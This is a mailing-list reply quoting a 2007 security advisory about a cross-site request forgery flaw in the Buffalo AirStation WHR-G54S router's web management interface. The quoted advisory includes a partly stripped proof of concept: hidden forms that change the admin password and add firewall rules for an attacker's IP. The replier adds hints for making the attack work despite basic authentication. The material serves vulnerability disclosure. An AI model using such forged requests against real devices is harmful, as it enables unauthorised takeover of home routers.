More info can be found on GNUCITIZEN's BlogSecurity:

http://blogsecurity.net/wordpress/2-vanilla-xss-on-wordpress-wp-registerphp/


Regards,

-- 
pagvac
gnucitizen.org, ikwt.com

Re: Buffalo AirStation WHR-G54S CSRF vulnerability

[Adrian P]

On 9/7/07, Henri Lindberg - Smilehouse Oy <[EMAIL PROTECTED]> wrote:
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA256
>
>   Louhi Networks Oy
>-= Security Advisory =-
>
>
>   Advisory: Buffalo AirStation WHR-G54S Web Management CSRF
> vulnerability
>   Release Date: 2007-09-07
>  Last Modified: 2007-09-07
>Authors: Henri Lindberg, Associate of (ISC)²
> [henri d0t lindberg at louhi d0t fi]
>
>Application: Buffalo AirStation Web Management
>
>Devices: WHR-G54S Ver.1.20, possibly other Buffalo products
>   Severity: Cross site request forgery in management interface
>   Risk: Moderate
>  Vendor Status: No response from vendor.
> References: http://www.louhi.fi/advisory/buffalo_070907.txt
>
>
> Overview:
>
> During cursory inspection of WHR-G54S it was discovered that a cross
> site request forgery vulnerability exists in the management
> interface. Thus, it is possible for an attacker to perform any
> administrative action in the management interface. These include
> e.g. changing administrative password or adding new firewall rules.
>
>
> Details:
>
> Buffalo AirStation WHR-G54S Ver.1.20 device management interface
> does not validate the origin of an HTTP request. If attacker is able
> to make user visit a hostile web page, a  device can be controlled
> by submitting suitable forms. It is possible to add new users for
> example.
>
> Successful attack requires that the attacker knows the management
> interface address for the target device. As authentication is done
> using HTTP Basic authentication, exploiting this vulnerability
> requires more effort compared to forms authentication.

"More effort" _unless_ the administrator has NOT changed the default
admin credentials or that he/she has NOT clicked on "Save Password" on
his browser auth prompt any time in the past. Any of these two
conditions would certainly make the attack more feasible. Just thought
it's worth it saying, that's all :-D

And yes, there are tricks so that when you get CSRFed on a browser
that has the basic auth credentials saved, the auth prompt will NOT
pop up in order to get confirmation from the user to submit the
request. I'm sure some people know what I'm talking about.

Good advisory and thank you for sharing it with us!

PS: Henri, please do not hesitate to contact me if you want feedback
on any 0days CSRF you might have at the moment.

>
>
> Proof of Concept:
>
> 
>   
>  action="http://192.168.11.1/cgi-bin/cgi?req=inp&res=ap.html
> "style="display:none">
>
>  
>  
>  
>  
>  
>  
> 
>   
> 
>
> Note: ropass value is reversed edit_ropass value.
>
> 
>   
>  action="http://192.168.11.1/cgi-bin/cgi?req=inp&res=filter_ip.html";
> style="display:none">
>
> 
> 
> 
> 
> 
> 
>
> 
> 
> 
>
> 1.1.1.1 = attacker's IP address
>
>
> Workaround:
>
> Do not browse untrusted websites while using the management
> interface.
>
> Log out after administering the device.
>
> More information
>
> http://en.wikipedia.org/wiki/Cross-site_request_forgery
>
> Disclosure Timeline:
>
> XX  July 2007   - Discovered the issue
> 15. August 2007 - Contacted Buffalo
> 17. August 2007 - Contacted Buffalo again.
> 7.  September 2007  - No response from Vendor.
> 7.  September 2007  - Advisory released
>
>
> Copyright 2007 Louhi Networks Oy. All rights reserved.
>
> -BEGIN PGP SIGNATURE-
> Version: GnuPG v1.4.5 (MingW32)
>
> iEYEAREIAAYFAkbhNJIACgkQ3TZNEGeZkm50SACcCHiOtcfCycfYcxr3lsQPh/J3
> Aa8AoKVr6BmKMamG3a7mQCAvO0FV+6y6
> =+E8f
> -END PGP SIGNATURE-
>


-- 
pagvac
gnucitizen.org, ikwt.com